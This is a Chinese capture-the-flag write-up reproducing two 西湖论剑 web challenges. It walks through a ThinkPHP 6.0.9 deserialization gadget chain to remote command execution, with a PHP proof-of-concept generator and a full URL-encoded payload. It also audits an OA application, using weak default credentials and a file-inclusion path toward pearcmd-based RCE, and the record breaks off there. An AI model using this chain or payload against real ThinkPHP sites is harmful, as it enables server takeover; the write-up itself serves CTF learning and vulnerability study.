西湖论剑(复现)
大佬wp:https://chowdera.com/2021/11/20211121141556522y.html
EasyTp
打开页面,提示
Error! no file parameter
highlight_file Error
get传file参数,文件存在只会告诉exist,但是不给源码。直接尝试一波php伪协议。
php://filter/convert.base64-encode/resource=Index.php
得到Index控制器源码。
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
//return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
if (isset($_GET['file'])) {
$file = $_GET['file'];
$file = trim($file);
$file = preg_replace('/\s+/','',$file);
if(preg_match("/flag/i",$file)){
die('<h2> no flag..');}
if(file_exists($file)){
echo "file_exists() return true..</br>";
die( "hacker!!!");
}else {
echo "file_exists() return false..";
@highlight_file($file);
}
} else {
echo "Error! no file parameter <br/>";
echo "highlight_file Error";
}
}
public function unser(){
if(isset($_GET['vulvul'])){
$ser = $_GET['vulvul'];
$vul = parse_url($_SERVER['REQUEST_URI']);
parse_str($vul['query'],$query);
foreach($query as $value)
{
if(preg_match("/O/i",$value))
{
die('</br> <h1>Hacking?');
exit();
}
}
unserialize($ser);
}
}
}
然后尝试?s=asd
报错看版本。直接thinkphp6.0.9,最新版,牛。经典反序列化。去看官方文档看看怎么触发unser函数
然后就是找链子了。用了之前的链子[安洵杯 2019]iamthinking发现寄了,审一波代码看看哪里出问题了(重新分析一波,之前的分析把我自己都整不会了)
从Model.php的
__destruct
出发
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
进入save
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
关键就是进入updateData。isEmpty是检测this->data是否为空,可控。trigger在ModelEvent.php里面,设置withEvent=false
就行。然后再设置this->exists为true就能进入updateData。
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $this->getTimestampValue($data[$this->updateTime]);
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
关键点就是进入checkAllowFields。同样的,trigger可控,不进入第一个if,前面已经设置过data不为空,所以很容易就能进入checkAllowFields
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
点连接可以触发__toString
,由于没设置this->schema,自然能触发。
来到Conversion.php在Conversion.php里面可以利用
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
public function __toString()
{
return $this->toJson();
}
跟进到toArray
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
关键点就是进入getAttr。虽然前面很多代码,但没有return,不影响。这里的data其实就是this->data,所以可控。然后设置一下visible数组,进入getAttr。visible在前面有个操作
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
所以只有设置data有个键等于visible的至即可,例如data['123'] = 'asd'; visible['xxx'] = '123'
来到Attribute.php,跟进getAttr
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
需要进入getValue。name为前面getAttr传的key(data的键)。然后value就是data[$key]的值。
跟进getValue
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
}
旧链是在closure这里执行代码,但是加了instance of来过滤,所以用不了了。但是上面的getJsonValue照样可以用。
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
}
观察这一段代码,由于this->get没设置,所以不会return。fieldname=key(上面data一直往这里传的键)。this->withAttr[$fieldName]设置不为空即可。this->json设置有key的键所对应的值,this->withAttr[$fieldName]设置为数组,然后就能进入getJsonValue。
跟进
protected function getJsonValue($name, $value)
{
foreach ($this->withAttr[$name] as $key => $closure) {
if ($this->jsonAssoc) {
$value[$key] = $closure($value[$key], $value);
} else {
$value->$key = $closure($value->$key, $value);
}
}
return $value;
}
这里的name为data的键,value为对应的值。设置this->jsonAssoc=true,进入if。明显closure、value[key]、value数组可控,直接函数执行。使用system函数,因为system第二个参数可以传数组。最终poc:
<?php
namespace think\model\concern;
trait Attribute{
private $data=['feng'=>['feng'=>'cat /flag']];
private $withAttr=['feng'=>['feng'=>'system']];
protected $visible = ['123'=>'feng'];
protected $json = ['feng'=>'feng'];
protected $jsonAssoc = true;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
echo urlencode(serialize(new Pivot(new Pivot())));
?>
其实就加了一点过滤,修改几个变量即可。然后这里还有parseurl的小trick,直接拿[安洵杯 2019]iamthinking
里面的方法即可绕过
最终payload:
http://127.0.0.1///public/index.php/index/unser?vulvul=O%3A17%3A%22think\model\Pivot%22%3A10%3A{s%3A19%3A%22%00think\Model%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think\Model%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think\Model%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00*%00suffix%22%3BO%3A17%3A%22think\model\Pivot%22%3A10%3A{s%3A19%3A%22%00think\Model%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think\Model%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think\Model%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00*%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think\Model%00data%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B}}s%3A21%3A%22%00think\Model%00withAttr%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A6%3A%22system%22%3B}}s%3A10%3A%22%00*%00visible%22%3Ba%3A1%3A{i%3A123%3Bs%3A4%3A%22feng%22%3B}s%3A7%3A%22%00*%00json%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A4%3A%22feng%22%3B}s%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00*%00withEvent%22%3Bb%3A0%3B}s%3A17%3A%22%00think\Model%00data%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B}}s%3A21%3A%22%00think\Model%00withAttr%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A6%3A%22system%22%3B}}s%3A10%3A%22%00*%00visible%22%3Ba%3A1%3A{i%3A123%3Bs%3A4%3A%22feng%22%3B}s%3A7%3A%22%00*%00json%22%3Ba%3A1%3A{s%3A4%3A%22feng%22%3Bs%3A4%3A%22feng%22%3B}s%3A12%3A%22%00*%00jsonAssoc%22%3Bb%3A1%3Bs%3A12%3A%22%00*%00withEvent%22%3Bb%3A0%3B}
然后本地复现的时候,加了parseurl之后,只要这个函数报错,直接返回500,都没有执行反序列化,好奇怪。
oa?RCE?
直接最新版本的OA(搜了一波,好像之前的文件上传修复了)。只能开审了。先一波弱口令登录admin:admin123。
在view.php有挺多文件包含。
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
$xhrock->setHtmlData();
$da = $xhrock->smartydata;
foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
include_once($mpathname);
$_showbool = false;
}
需要控一下这个mpathname。
$temppath = ''.ROOT_PATH.'/'.$p.'/';
$tplpaths = ''.$temppath.''.$d.''.$m.'/';
$tplname = 'tpl_'.$m.'';
if($a!='default')$tplname .= '_'.$a.'';
$tplname .= '.'.$xhrock->tpldom.'';
$mpathname = $tplpaths.$tplname;
经过本地调试,上面限制很多,控不了。(只能包含action文件之类的限制)
if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
这里似乎可以搞一搞。直接全局搜索displayfile,找到一个可控点,在indexAction.php。但是限制php文件
public function getshtmlAction()
{
$surl = $this->jm->base64decode($this->get('surl'));
$num = $this->get('num');
$menuname = $this->jm->base64decode($this->get('menuname'));
if(isempt($surl))exit('not found');
$file = ''.P.'/'.$surl.'.php';
if(!file_exists($file))$file = ''.P.'/'.$surl.'.shtml';
if(!file_exists($file))exit('404 not found '.$surl.'');
if(contain($surl,'home/index/rock_index'))$this->showhomeitems();//首页的显示
$this->displayfile = $file;
//记录打开菜单日志
if($num!='home' && getconfig('useropt')=='1')
m('log')->addlog('打开菜单', '菜单['.$num.'.'.$menuname.']');
}
然后根据本地调试。
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);
get即为$_GET
,m为action文件,a为里面的方法,d不太清楚。由于需要rce,而且还是包含php文件,只能是pearcmd了。在indexAction里面还可以看到phpinfo,题目开启register_argc_argv。直接pearcmd打即可。pearcmd类似打法: